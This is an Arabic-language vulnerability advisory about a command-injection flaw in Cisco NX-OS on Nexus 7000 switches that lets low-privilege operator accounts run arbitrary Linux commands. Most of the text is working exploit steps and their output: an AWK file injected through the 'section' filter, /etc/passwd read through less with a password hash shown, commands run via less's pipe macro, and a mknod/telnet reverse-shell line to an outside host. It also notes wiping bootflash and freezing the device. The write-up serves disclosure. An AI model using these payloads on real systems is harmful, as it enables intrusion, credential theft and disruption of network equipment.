
الثغرات الأمنية المنشورة، والأبحاث، والمعلومات ذات الصلة.
مطلوب وصول محلي. ومع ذلك، يمكن للحسابات غير المميزة الوصول إلى نظام التشغيل Linux الأساسي، مما يوفر فعليًا وصولًا كاملًا إلى الجهاز. قد يؤدي هذا إلى مشكلات في البيئات التي يُسمح فيها لموظفي NOC وغيرهم من الموظفين بوصول منخفض المستوى ليكونوا نقطة الاتصال الأولى، وما إلى ذلك.
تم العثور على هذه المشكلة على منصة Nexus 7000. يُعتقد أنها تؤثر أيضًا على المنصات التالية:
يبدو أن الأمر section عبارة عن سكربت AWK يُمرَّر إليه النص المطلوب. ومع ذلك، لا يبدو أن الإدخال يتم تنظيفه بشكل صحيح. نتيجة لذلك، يمكن استخدام AWK لتنفيذ أوامر عشوائية على نظام Linux الفرعي.
nx1# sh clock | sed 's/.*/BEGIN \{ system\(\"id"\) \}/' > 20110713.awk
Warning: There is already a file existing with this name. Do you want to
overwrite (yes/no)? [no] y
nx1# sh clock | sec '* -f /bootflash/20110713.awk '
uid=2003(user) gid=504(network-operator)
11:16:04.082 UTC Wed Jul 13 2011
nx1# sh clock | sed 's/.*/BEGIN \{ system\(\"ls \/mnt\/cfg\/0\/"\) \}/' > 20110713.awk
nx1# sh clock | sec '* -f /bootflash/20110713.awk '
ascii
bin
boot
cfglabel.sysmgr
debug
licenses
linux
log
lost+found
11:18:41.885 UTC Wed Jul 13 2011
يمكن استخدام هذا حتى لحذف جميع الملفات على bootflash وإصدار أمر 'reboot' للنظام. ومع ذلك، فإن إعادة التشغيل من نظام Linux الفرعي تؤدي إلى قذف الجهاز برسائل على وحدة التحكم وتجمّده؛ بدلاً من إعادة تحميل الجهاز فعليًا.
يُعتقد أنها تؤثر على الإصدارات التالية من البرنامج:
على سبيل المثال:
switch# sh clock | less
بمجرد ظهور less، نفتح الملفات بالضغط على النقطتين ثم "e" وتحديد المسار إلى الملف.
bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/usr/sbin:
sys:*:3:3:sys:/dev:
ftp:*:15:14:ftp:/var/ftp:/isanboot/bin/nobash
ftpuser:UvdRSOzORvz9o:99:14:ftpuser:/var/ftp:/isanboot/bin/nobash
nobody:*:65534:65534:nobody:/home:/bin/sh
admin:x:2002:503::/var/home/admin:/isan/bin/vsh_perm
ومع ذلك، هذا مجرد وصول للقراءة فقط مرة أخرى. لكن، إذا استخدمنا "|" (الأنبوب) ثم ماكرو المفتاح "$"، يمكننا تنفيذ الأوامر.
!ls -lah > /bootflash/20110715
كما هو موضح أدناه، تم إنشاء الملف على boot-flash.
switch# dir
97 Jul 15 12:01:44 2011 20110715
باستخدام هذه الطريقة، تمكنت من إنشاء قشرة بعيدة (remote shell) داخل نظام NX-OS Linux الفرعي باستخدام ما يلي:
mknod rs p; telnet ad.dr.es.s 8888 0<rs | /bin/bash 1>rs
حتى أمر reboot يُقبل كمدخل صالح. ومع ذلك، بدلاً من إعادة تشغيل الجهاز، يتسبب في تجمّد النظام أثناء قذف الأخطاء على وحدة التحكم.
switch# sh clock | less
Fri Jul 15 12:06:30 UTC 2011
!reboot
Broadcast message from root (Fri Jul 15 12:06:39 2011):